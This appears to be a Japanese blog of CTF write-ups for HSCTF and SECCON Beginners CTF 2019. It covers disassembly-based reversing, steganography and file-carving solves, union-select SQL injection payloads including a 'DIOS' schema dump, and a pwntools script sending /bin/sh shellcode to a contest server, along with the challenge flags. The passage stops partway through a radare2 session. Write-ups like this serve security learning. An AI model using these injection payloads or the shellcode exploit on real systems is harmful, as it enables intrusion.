|   :  |    0x000007f1      c645d731       mov byte [var_29h], 0x31    ; '1'
|   :  |    0x000007f5      c645d876       mov byte [var_28h], 0x76    ; 'v'
|   :  |    0x000007f9      c645d95e       mov byte [var_27h], 0x5e    ; '^'
|   :  |    0x000007fd      c645da78       mov byte [var_26h], 0x78    ; 'x'
|   :  |    0x00000801      c645db31       mov byte [var_25h], 0x31    ; '1'
|   :  |    0x00000805      c645dc74       mov byte [var_24h], 0x74    ; 't'
|   :  |    0x00000809      c645dd5e       mov byte [var_23h], 0x5e    ; '^'
|   :  |    0x0000080d      c645de6a       mov byte [var_22h], 0x6a    ; 'j'
|   :  |    0x00000811      c645df6f       mov byte [var_21h], 0x6f    ; 'o'
|   :  |    0x00000815      c645e031       mov byte [var_20h], 0x31    ; '1'
|   :  |    0x00000819      c645e176       mov byte [var_1fh], 0x76    ; 'v'
|   :  |    0x0000081d      c645e25e       mov byte [var_1eh], 0x5e    ; '^'
|   :  |    0x00000821      c645e365       mov byte [var_1dh], 0x65    ; 'e'
|   :  |    0x00000825      c645e435       mov byte [var_1ch], 0x35    ; '5'
|   :  |    0x00000829      c645e55e       mov byte [var_1bh], 0x5e    ; '^'
|   :  |    0x0000082d      c645e676       mov byte [var_1ah], 0x76    ; 'v'
|   :  |    0x00000831      c645e740       mov byte [var_19h], 0x40    ; segment.PHDR
|   :  |    0x00000835      c645e832       mov byte [var_18h], 0x32    ; '2'
|   :  |    0x00000839      c645e95e       mov byte [var_17h], 0x5e    ; '^'
|   :  |    0x0000083d      c645ea39       mov byte [var_16h], 0x39    ; '9'
|   :  |    0x00000841      c645eb69       mov byte [var_15h], 0x69    ; 'i'
|   :  |    0x00000845      c645ec33       mov byte [var_14h], 0x33    ; '3'
|   :  |    0x00000849      c645ed63       mov byte [var_13h], 0x63    ; 'c'
|   :  |    0x0000084d      c645ee40       mov byte [var_12h], 0x40    ; segment.PHDR
|   :  |    0x00000851      c645ef31       mov byte [var_11h], 0x31    ; '1'
|   :  |    0x00000855      c645f033       mov byte [var_10h], 0x33    ; '3'
|   :  |    0x00000859      c645f138       mov byte [var_fh], 0x38     ; '8'
|   :  |    0x0000085d      c645f27c       mov byte [var_eh], 0x7c     ; '|'
|   :  |    0x00000861      c645f300       mov byte [var_dh], 0
|   :  |    0x00000865      488b55c8       mov rdx, qword [var_38h]
|   :  |    0x00000869      488d45d0       lea rax, [var_30h]
|   :  |    0x0000086d      4889d6         mov rsi, rdx
|   :  |    0x00000870      4889c7         mov rdi, rax
|   :  |    0x00000873      e898fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|   :  |    0x00000878      85c0           test eax, eax
|   `=====< 0x0000087a      0f85e4feffff   jne 0x764
|      |    0x00000880      488d3dc20000.  lea rdi, str.Oof__ur_too_good ; 0x949 ; "Oof, ur too good"
|      |    0x00000887      e854fdffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x0000088c      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x776)
|      `--> 0x00000891      488b75f8       mov rsi, qword [var_8h]
|           0x00000895      644833342528.  xor rsi, qword fs:[0x28]
|       ,=< 0x0000089e      7405           je 0x8a5
|       |   0x000008a0      e85bfdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x89e)
|       `-> 0x000008a5      c9             leave
\           0x000008a6      c3             ret

0x40がなにかわかんなかったけどとりあえず以下でxor 1してる。

  : .---> 0x000007a5      8b45c0         mov eax, dword [var_40h]
|   : :||   0x000007a8      4863d0         movsxd rdx, eax
|   : :||   0x000007ab      488b45c8       mov rax, qword [var_38h]
|   : :||   0x000007af      4801d0         add rax, rdx
|   : :||   0x000007b2      0fb608         movzx ecx, byte [rax]
|   : :||   0x000007b5      8b45c0         mov eax, dword [var_40h]
|   : :||   0x000007b8      4863d0         movsxd rdx, eax
|   : :||   0x000007bb      488b45c8       mov rax, qword [var_38h]
|   : :||   0x000007bf      4801d0         add rax, rdx
|   : :||   0x000007c2      83f101         xor ecx, 1
|   : :||   0x000007c5      89ca           mov edx, ecx
|   : :||   0x000007c7      8810           mov byte [rax], dl
|   : :||   0x000007c9      8345c001       add dword [var_40h], 1
|   : :||   ; CODE XREF from main (0x7a3)

一応IDAでも見た。

.text:00000000000007D5 058 mov     [rbp+s1], 69h ; 'i'
.text:00000000000007D9 058 mov     [rbp+var_2F], 72h ; 'r'
.text:00000000000007DD 058 mov     [rbp+var_2E], 62h ; 'b'
.text:00000000000007E1 058 mov     [rbp+var_2D], 75h ; 'u'
.text:00000000000007E5 058 mov     [rbp+var_2C], 67h ; 'g'
.text:00000000000007E9 058 mov     [rbp+var_2B], 7Ah ; 'z'
.text:00000000000007ED 058 mov     [rbp+var_2A], 76h ; 'v'
.text:00000000000007F1 058 mov     [rbp+var_29], 31h ; '1'
.text:00000000000007F5 058 mov     [rbp+var_28], 76h ; 'v'
.text:00000000000007F9 058 mov     [rbp+var_27], 5Eh ; '^'
.text:00000000000007FD 058 mov     [rbp+var_26], 78h ; 'x'
.text:0000000000000801 058 mov     [rbp+var_25], 31h ; '1'
.text:0000000000000805 058 mov     [rbp+var_24], 74h ; 't'
.text:0000000000000809 058 mov     [rbp+var_23], 5Eh ; '^'
.text:000000000000080D 058 mov     [rbp+var_22], 6Ah ; 'j'
.text:0000000000000811 058 mov     [rbp+var_21], 6Fh ; 'o'
.text:0000000000000815 058 mov     [rbp+var_20], 31h ; '1'
.text:0000000000000819 058 mov     [rbp+var_1F], 76h ; 'v'
.text:000000000000081D 058 mov     [rbp+var_1E], 5Eh ; '^'
.text:0000000000000821 058 mov     [rbp+var_1D], 65h ; 'e'
.text:0000000000000825 058 mov     [rbp+var_1C], 35h ; '5'
.text:0000000000000829 058 mov     [rbp+var_1B], 5Eh ; '^'
.text:000000000000082D 058 mov     [rbp+var_1A], 76h ; 'v'
.text:0000000000000831 058 mov     [rbp+var_19], 40h ; '@'
.text:0000000000000835 058 mov     [rbp+var_18], 32h ; '2'
.text:0000000000000839 058 mov     [rbp+var_17], 5Eh ; '^'
.text:000000000000083D 058 mov     [rbp+var_16], 39h ; '9'
.text:0000000000000841 058 mov     [rbp+var_15], 69h ; 'i'
.text:0000000000000845 058 mov     [rbp+var_14], 33h ; '3'
.text:0000000000000849 058 mov     [rbp+var_13], 63h ; 'c'
.text:000000000000084D 058 mov     [rbp+var_12], 40h ; '@'
.text:0000000000000851 058 mov     [rbp+var_11], 31h ; '1'
.text:0000000000000855 058 mov     [rbp+var_10], 33h ; '3'
.text:0000000000000859 058 mov     [rbp+var_F], 38h ; '8'
.text:000000000000085D 058 mov     [rbp+var_E], 7Ch

f:id:Yunolay:20190605234013p:plain

0x40 = @ですな。 この文字列にxor 0x1をする。

irbugzv1v^x1t^jo1v^e5^v@2^9i3c@138|
def xor(msg, key):
    o = ''
    for i in range(len(msg)):
        o += chr(ord(msg[i]) ^ key)
    return o

s = 'irbugzv1v^x1t^jo1v^e5^v@2^9i3c@138|'

print(xor(s, 0x01))

実行結果

hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}

FLAG : hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}

Forensics

Chicken Crossing

Keith is watching chickens cross a road in his grandfather’s farm. He once heard from his grandfather that there was something significant about this behavior, but he can’t figure out why. Help Keith discover what the chickens are doing from this seemingly simple behavior. f:id:Yunolay:20190605185054j:plain

jpgが与えられる。
stringsでフラグが得られた。

$ strings hsctf-chicken_crossing.jpg | grep hs
hsctf{2_get_2_the_other_side}

FLAG : hsctf{2_get_2_the_other_side}

Cool Image

My friend told me he found a really cool image, but I couldn't open it. Can you help me access the image?

cool.pdf

cool.pdfが与えられる。

$ file cool.pdf 
cool.pdf: PNG image data, 1326 x 89, 8-bit/color RGBA, non-interlaced

普通にpng

f:id:Yunolay:20190605185559p:plain

FLAG : hsctf{who_uses_extensions_anyways}

Cool Image 2

My friend sent me this image, but I can't open it. Can you help me open the image?

cool.png

png?が与えられる。
とりあえずバイナリエディタで中身を見た。

f:id:Yunolay:20190605213857p:plain

PNGシグネチャ(89 50 4E 47 0D 0A 1A 0A)の前にI found this cool file. Its really cool!の文字列が埋め込まれている。
ので取り除く

f:id:Yunolay:20190605214041p:plain

$ file cool.png 
cool.png: PNG image data, 1206 x 89, 8-bit/color RGBA, non-interlaced

f:id:Yunolay:20190605214126p:plain

FLAG : hsctf{sorry_about_the_extra_bytes}

Logo Sucks Bad

This logo sucks bad.

logo.png
f:id:Yunolay:20190605214259p:plain

pngが与えられる。
とりあえずstego-toolkitのcheck_png.shで見てみた。

https://github.com/DominicBreuker/stego-toolkit

(snip)

###########################
########## zsteg ##########
###########################

Watch out for red output. This tool shows lots of false positives...
b1,r,lsb,xy         .. 
b1,r,msb,xy         .. text: "NHzjjVhzXHh"
b1,g,lsb,xy         .. 
b1,g,msb,xy         .. 
b1,b,lsb,xy         .. 
b1,b,msb,xy         .. 
b1,a,lsb,xy         .. 
b1,a,msb,xy         .. 
b1,rgb,lsb,xy       .. text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis non velit rutrum, porttitor est a, porttitor nisi. Aliquam placerat nibh ut diam faucibus, ut auctor felis sodales. Suspendisse egestas tempus libero, efficitur finibus orci congue sit amet. Sed"
b1,rgb,msb,xy       .. 
b1,bgr,lsb,xy       .. 
b1,bgr,msb,xy       .. 
b1,rgba,lsb,xy      .. 
b1,rgba,msb,xy      .. 
b1,abgr,lsb,xy      .. 
b1,abgr,msb,xy      .. 
b2,r,lsb,xy         .. 
b2,r,msb,xy         .. 
b2,g,lsb,xy         .. text: "Q@E@A@A@E"
b2,g,msb,xy         .. 
b2,b,lsb,xy         .. 
b2,b,msb,xy         .. 
b2,a,lsb,xy         .. 
b2,a,msb,xy         .. 
b2,rgb,lsb,xy       .. 
b2,rgb,msb,xy       .. 
b2,bgr,lsb,xy       .. 
b2,bgr,msb,xy       .. 
b2,rgba,lsb,xy      .. 
b2,rgba,msb,xy      .. 
b2,abgr,lsb,xy      .. 
b2,abgr,msb,xy      .. 
b3,r,lsb,xy         .. 
b3,r,msb,xy         .. 
b3,g,lsb,xy         .. 
b3,g,msb,xy         .. 
b3,b,lsb,xy         .. 
b3,b,msb,xy         .. 
b3,a,lsb,xy         .. 
b3,a,msb,xy         .. 
b3,rgb,lsb,xy       .. 
b3,rgb,msb,xy       .. 
b3,bgr,lsb,xy       .. 
b3,bgr,msb,xy       .. 

(snip)

b1,rgb,lsb,xyに文字列がある。
青い空を見上げればいつもそこに白い猫のステガノグラフィ解析でビットを抽出する。(stegsolveより手軽に使える環境にあった)

f:id:Yunolay:20190605223335p:plain

FLAG : hsctf{th4_l3est_s3gnific3nt_bbbbbbbbbbbbb}

SECCON Beginners CTF 2019 Writeup

大した問題解いてないけど備忘録としてとりあえず残しておく

Misc

[warmup] Welcome

SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf

ircで#seccon-beginners-ctfにアクセスする。

f:id:Yunolay:20190527124210p:plain

FLAG : ctf4b{welcome_to_seccon_beginners_ctf}

containers

Let's extract files from the container.

コンテナらしいのでとりあえずforemostしてみる。

$ file e35860e49ca3fa367e456207ebc9ff2f_containers 
e35860e49ca3fa367e456207ebc9ff2f_containers: data

$ foremost e35860e49ca3fa367e456207ebc9ff2f_containers 
Processing: e35860e49ca3fa367e456207ebc9ff2f_containers
|*|

$ cd output/png 
$ ls
00000000.png  00000011.png  00000025.png  00000038.png  00000052.png
00000001.png  00000013.png  00000027.png  00000040.png  00000053.png
00000002.png  00000015.png  00000028.png  00000042.png  00000055.png
00000003.png  00000016.png  00000030.png  00000043.png  00000056.png
00000005.png  00000018.png  00000032.png  00000045.png  00000058.png
00000007.png  00000020.png  00000033.png  00000046.png  00000060.png
00000008.png  00000021.png  00000035.png  00000048.png  00000061.png
00000010.png  00000023.png  00000037.png  00000050.png

f:id:Yunolay:20190527124736p:plain

FLAG : ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Web

[warmup] Ramen

ラーメン https://ramen.quals.beginners.seccon.jp

f:id:Yunolay:20190527125119p:plain

店員名前を検索するフォームがある。 とりあえずいつものSQLiしてみる

admin' or 1=1;#

f:id:Yunolay:20190527125331p:plain

UNION SELECTで必要なカラム数を確認する。

' union select 0,1; #

f:id:Yunolay:20190527125438p:plain

Dump in One Shotでテーブル名とかを取得する。

DIOS the SQL Injectors Weapon (Upgraded)

' union select 0,(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a); #

f:id:Yunolay:20190527125856p:plain

flag:flagにフラグがあるらしい。

' union select 0,flag from flag; #

f:id:Yunolay:20190527130046p:plain

FLAG : ctf4b{a_simple_sql_injection_with_union_select}

katsudon

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end

def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end

https://katsudon.quals.beginners.seccon.jp/flag

f:id:Yunolay:20190527130302p:plain

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

base64 decodeしたらflag取れた。 問題のミスらしい

..I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}.:.ETÑ×.í÷.ß.ßï._{ÇZó_^uÝ<Õ.ÚïvúÓ..

FLAG : ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Pwnable

[warmup] shellcoder

nc 153.120.129.186 20000 file

$ file shellcoder 
shellcoder: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=acce612539763567a2d3dafd22431e476f32fb72, not stripped
$ r2 shellcoder 
 -- Pass '-j' to rabin2 to get the information of the binary in JSON format.
[0x000007c0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x000007c0]> afl
0x00000000    2 25           loc.imp._ITM_deregisterTMCloneTable
0x00000710    3 23           sym._init
0x00000740    1 6            sym.imp._exit
0x00000750    1 6            sym.imp.puts
0x00000760    1 6            sym.imp.mmap
0x00000770    1 6            sym.imp.setbuf
0x00000780    1 6            sym.imp.strchr
0x00000790    1 6            sym.imp.alarm
0x000007a0    1 6            sym.imp.read
0x000007b0    1 6            sym..plt.got
0x000007c0    1 42           entry0
0x000007f0    4 50   -> 40   sym.deregister_tm_clones
0x00000830    4 66   -> 57   sym.register_tm_clones
0x00000880    5 58   -> 51   entry.fini0
0x000008c0    1 10           entry.init0
0x000008ca    1 77           entry.init1
0x00000917    7 233          main
0x00000a00    4 101          sym.__libc_csu_init
0x00000a70    1 2            sym.__libc_csu_fini
0x00000a74    1 9            sym._fini
[0x000007c0]> s main
[0x00000917]> pdf
/ (fcn) main 233
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x7dd)
|           0x00000917      55             push rbp
|           0x00000918      4889e5         mov rbp, rsp
|           0x0000091b      4883ec10       sub rsp, 0x10
|           0x0000091f      41b900000000   mov r9d, 0
|           0x00000925      41b8ffffffff   mov r8d, 0xffffffff         ; -1
|           0x0000092b      b921000000     mov ecx, 0x21               ; '!'
|           0x00000930      ba07000000     mov edx, 7
|           0x00000935      be00100000     mov esi, 0x1000
|           0x0000093a      bf00000000     mov edi, 0
|           0x0000093f      e81cfeffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
|           0x00000944      488945f8       mov qword [var_8h], rax
|           0x00000948      488d3d390100.  lea rdi, str.Are_you_shellcoder ; 0xa88 ; "Are you shellcoder?"
|           0x0000094f      e8fcfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00000954      488b45f8       mov rax, qword [var_8h]
|           0x00000958      ba28000000     mov edx, 0x28               ; '('
|           0x0000095d      4889c6         mov rsi, rax
|           0x00000960      bf00000000     mov edi, 0
|           0x00000965      e836feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0000096a      488b45f8       mov rax, qword [var_8h]
|           0x0000096e      be62000000     mov esi, 0x62               ; 'b'
|           0x00000973      4889c7         mov rdi, rax
|           0x00000976      e805feffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|           0x0000097b      4885c0         test rax, rax
|       ,=< 0x0000097e      7558           jne 0x9d8
|       |   0x00000980      488b45f8       mov rax, qword [var_8h]
|       |   0x00000984      be69000000     mov esi, 0x69               ; 'i'
|       |   0x00000989      4889c7         mov rdi, rax
|       |   0x0000098c      e8effdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|       |   0x00000991      4885c0         test rax, rax
|      ,==< 0x00000994      7542           jne 0x9d8
|      ||   0x00000996      488b45f8       mov rax, qword [var_8h]
|      ||   0x0000099a      be6e000000     mov esi, 0x6e               ; 'n'
|      ||   0x0000099f      4889c7         mov rdi, rax
|      ||   0x000009a2      e8d9fdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|      ||   0x000009a7      4885c0         test rax, rax
|     ,===< 0x000009aa      752c           jne 0x9d8
|     |||   0x000009ac      488b45f8       mov rax, qword [var_8h]
|     |||   0x000009b0      be73000000     mov esi, 0x73               ; 's'
|     |||   0x000009b5      4889c7         mov rdi, rax
|     |||   0x000009b8      e8c3fdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|     |||   0x000009bd      4885c0         test rax, rax
|    ,====< 0x000009c0      7516           jne 0x9d8
|    ||||   0x000009c2      488b45f8       mov rax, qword [var_8h]
|    ||||   0x000009c6      be68000000     mov esi, 0x68               ; 'h'
|    ||||   0x000009cb      4889c7         mov rdi, rax
|    ||||   0x000009ce      e8adfdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|    ||||   0x000009d3      4885c0         test rax, rax
|   ,=====< 0x000009d6      7416           je 0x9ee
|   |||||   ; CODE XREFS from main (0x97e, 0x994, 0x9aa, 0x9c0)
|   |````-> 0x000009d8      488d3dc10000.  lea rdi, str.Payload_contains_invalid_character ; 0xaa0 ; "Payload contains invalid character!!"
|   |       0x000009df      e86cfdffff     call sym.imp.puts           ; int puts(const char *s)
|   |       0x000009e4      bf00000000     mov edi, 0
|   |       0x000009e9      e852fdffff     call sym.imp._exit          ; void _exit(int status)
|   |       ; CODE XREF from main (0x9d6)
|   `-----> 0x000009ee      488b55f8       mov rdx, qword [var_8h]
|           0x000009f2      b800000000     mov eax, 0
|           0x000009f7      ffd2           call rdx
|           0x000009f9      b800000000     mov eax, 0
|           0x000009fe      c9             leave
\           0x000009ff      c3             ret
[0x00000917]> 

readした文字列に'b' 'i' 'n' 's' 'h'がないか確認している。

0x00000965      e836feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0000096a      488b45f8       mov rax, qword [var_8h]
|           0x0000096e      be62000000     mov esi, 0x62               ; 'b'
|           0x00000973      4889c7         mov rdi, rax
|           0x00000976      e805feffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)

(snip)

そのままshellcodeを送れば回避できる。

from pwn import *

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './shellcoder'
host ='153.120.129.186'
port = 20000

elf = ELF(binary)
context.binary = binary
# context.log_level = 'debug'

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
    # remote
    r = remote(host, port)
else:
    # local
    r = process(binary)
    libc = elf.libc

print r.recvuntil('Are you shellcoder?\n')

# Linux/x86-64 - Execute /bin/sh - 27 bytes - shell-storm.org
# http://shell-storm.org/shellcode/files/shellcode-806.php
sc = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

payload = ''
payload += sc

send_payload(payload)

r.interactive()
$ python exploit.py r
[*] '/home/user/Desktop/CTF/Seccon Beginner 2019/Pwn/shellcoder/shellcoder'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 153.120.129.186 on port 20000: Done
Are you shellcoder?

[*] payload = '1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05'
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
[*] Got EOF while reading in interactive

FLAG : ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

FLAG的にXORでbypassするのかな。 ropemporiumでみた(進研ゼミ感)

Reversing

[warmup] Seccompare

$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped

$ ./seccompare
usage: ./seccompare flag

引数にフラグを入れるやつ
radare2で見ると一文字ずつ比較してる

r2 seccompare
 -- One does not simply write documentation.
[0x00400500]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00400500]> afl
0x00400498    3 23           sym._init
0x004004c0    1 6            sym.imp.puts
0x004004d0    1 6            sym.imp.__stack_chk_fail
0x004004e0    1 6            sym.imp.printf
0x004004f0    1 6            sym.imp.strcmp
0x00400500    1 42           entry0
0x00400530    1 2            sym._dl_relocate_static_pie
0x00400540    4 42   -> 37   sym.deregister_tm_clones
0x00400570    4 58   -> 55   sym.register_tm_clones
0x004005b0    3 34   -> 29   entry.fini0
0x004005e0    1 7            entry.init0
0x004005e7    9 272          main
0x00400700    3 101  -> 92   sym.__libc_csu_init
0x00400770    1 2            sym.__libc_csu_fini
0x00400774    1 9            sym._fini
[0x00400500]> s main
[0x004005e7]> pdf
/ (fcn) main 272
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_40h @ rbp-0x40
|           ; var int32_t var_34h @ rbp-0x34
|           ; var int32_t var_30h @ rbp-0x30
|           ; var int32_t var_2fh @ rbp-0x2f
|           ; var int32_t var_2eh @ rbp-0x2e
|           ; var int32_t var_2dh @ rbp-0x2d
|           ; var int32_t var_2ch @ rbp-0x2c
|           ; var int32_t var_2bh @ rbp-0x2b
|           ; var int32_t var_2ah @ rbp-0x2a
|           ; var int32_t var_29h @ rbp-0x29
|           ; var int32_t var_28h @ rbp-0x28
|           ; var int32_t var_27h @ rbp-0x27
|           ; var int32_t var_26h @ rbp-0x26
|           ; var int32_t var_25h @ rbp-0x25
|           ; var int32_t var_24h @ rbp-0x24
|           ; var int32_t var_23h @ rbp-0x23
|           ; var int32_t var_22h @ rbp-0x22
|           ; var int32_t var_21h @ rbp-0x21
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_1fh @ rbp-0x1f
|           ; var int32_t var_1eh @ rbp-0x1e
|           ; var int32_t var_1dh @ rbp-0x1d
|           ; var int32_t var_1ch @ rbp-0x1c
|           ; var int32_t var_1bh @ rbp-0x1b
|           ; var int32_t var_1ah @ rbp-0x1a
|           ; var int32_t var_19h @ rbp-0x19
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_17h @ rbp-0x17
|           ; var int32_t var_16h @ rbp-0x16
|           ; var int32_t var_15h @ rbp-0x15
|           ; var int32_t var_14h @ rbp-0x14
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40051d)
|           0x004005e7      55             push rbp
|           0x004005e8      4889e5         mov rbp, rsp
|           0x004005eb      4883ec40       sub rsp, 0x40               ; '@'
|           0x004005ef      897dcc         mov dword [var_34h], edi    ; argc
|           0x004005f2      488975c0       mov qword [var_40h], rsi    ; argv
|           0x004005f6      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004005ff      488945f8       mov qword [var_8h], rax
|           0x00400603      31c0           xor eax, eax
|           0x00400605      837dcc01       cmp dword [var_34h], 1
|       ,=< 0x00400609      7f25           jg 0x400630
|       |   0x0040060b      488b45c0       mov rax, qword [var_40h]
|       |   0x0040060f      488b00         mov rax, qword [rax]
|       |   0x00400612      4889c6         mov rsi, rax
|       |   0x00400615      488d3d680100.  lea rdi, str.usage:__s_flag ; 0x400784 ; "usage: %s flag\n"
|       |   0x0040061c      b800000000     mov eax, 0
|       |   0x00400621      e8bafeffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00400626      b801000000     mov eax, 1
|      ,==< 0x0040062b      e9b1000000     jmp 0x4006e1
|      ||   ; CODE XREF from main (0x400609)
|      |`-> 0x00400630      c645d063       mov byte [var_30h], 0x63    ; 'c' ; 99
|      |    0x00400634      c645d174       mov byte [var_2fh], 0x74    ; 't' ; 116
|      |    0x00400638      c645d266       mov byte [var_2eh], 0x66    ; 'f' ; 102
|      |    0x0040063c      c645d334       mov byte [var_2dh], 0x34    ; '4' ; 52
|      |    0x00400640      c645d462       mov byte [var_2ch], 0x62    ; 'b' ; 98
|      |    0x00400644      c645d57b       mov byte [var_2bh], 0x7b    ; '{' ; 123
|      |    0x00400648      c645d635       mov byte [var_2ah], 0x35    ; '5' ; 53
|      |    0x0040064c      c645d774       mov byte [var_29h], 0x74    ; 't' ; 116
|      |    0x00400650      c645d872       mov byte [var_28h], 0x72    ; 'r' ; 114
|      |    0x00400654      c645d931       mov byte [var_27h], 0x31    ; '1' ; 49
|      |    0x00400658      c645da6e       mov byte [var_26h], 0x6e    ; 'n' ; 110
|      |    0x0040065c      c645db67       mov byte [var_25h], 0x67    ; 'g' ; 103
|      |    0x00400660      c645dc73       mov byte [var_24h], 0x73    ; 's' ; 115
|      |    0x00400664      c645dd5f       mov byte [var_23h], 0x5f    ; '_' ; 95
|      |    0x00400668      c645de31       mov byte [var_22h], 0x31    ; '1' ; 49
|      |    0x0040066c      c645df73       mov byte [var_21h], 0x73    ; 's' ; 115
|      |    0x00400670      c645e05f       mov byte [var_20h], 0x5f    ; '_' ; 95
|      |    0x00400674      c645e16e       mov byte [var_1fh], 0x6e    ; 'n' ; 110
|      |    0x00400678      c645e230       mov byte [var_1eh], 0x30    ; '0' ; 48
|      |    0x0040067c      c645e374       mov byte [var_1dh], 0x74    ; 't' ; 116
|      |    0x00400680      c645e45f       mov byte [var_1ch], 0x5f    ; '_' ; 95
|      |    0x00400684      c645e565       mov byte [var_1bh], 0x65    ; 'e' ; 101
|      |    0x00400688      c645e66e       mov byte [var_1ah], 0x6e    ; 'n' ; 110
|      |    0x0040068c      c645e730       mov byte [var_19h], 0x30    ; '0' ; 48
|      |    0x00400690      c645e875       mov byte [var_18h], 0x75    ; 'u' ; 117
|      |    0x00400694      c645e967       mov byte [var_17h], 0x67    ; 'g' ; 103
|      |    0x00400698      c645ea68       mov byte [var_16h], 0x68    ; 'h' ; 104
|      |    0x0040069c      c645eb7d       mov byte [var_15h], 0x7d    ; '}' ; 125
|      |    0x004006a0      c645ec00       mov byte [var_14h], 0
|      |    0x004006a4      488b45c0       mov rax, qword [var_40h]
|      |    0x004006a8      4883c008       add rax, 8
|      |    0x004006ac      488b10         mov rdx, qword [rax]
|      |    0x004006af      488d45d0       lea rax, [var_30h]
|      |    0x004006b3      4889d6         mov rsi, rdx
|      |    0x004006b6      4889c7         mov rdi, rax
|      |    0x004006b9      e832feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|      |    0x004006be      85c0           test eax, eax
|      |,=< 0x004006c0      750e           jne 0x4006d0
|      ||   0x004006c2      488d3dcb0000.  lea rdi, str.correct        ; 0x400794 ; "correct"
|      ||   0x004006c9      e8f2fdffff     call sym.imp.puts           ; int puts(const char *s)
|     ,===< 0x004006ce      eb0c           jmp 0x4006dc
|     |||   ; CODE XREF from main (0x4006c0)
|     ||`-> 0x004006d0      488d3dc50000.  lea rdi, str.wrong          ; 0x40079c ; "wrong"
|     ||    0x004006d7      e8e4fdffff     call sym.imp.puts           ; int puts(const char *s)
|     ||    ; CODE XREF from main (0x4006ce)
|     `---> 0x004006dc      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x40062b)
|      `--> 0x004006e1      488b4df8       mov rcx, qword [var_8h]
|           0x004006e5      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x004006ee      7405           je 0x4006f5
|       |   0x004006f0      e8dbfdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x4006ee)
|       `-> 0x004006f5      c9             leave
\           0x004006f6      c3             ret

FLAG : ctf4b{5tr1ngs_1s_en0ugh}

Leakage

$ file leakage 
leakage: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=334440ee47762e207c9830178dfebdf40b63075d, not stripped

$./leakage
usage: ./leakage flag

$ ./leakage a
wrong

これも引数にフラグをいれるやつ

$ r2 leakage
 -- Please register your copy of r2 today! Only £29.90!
[0x00400500]> aaaa
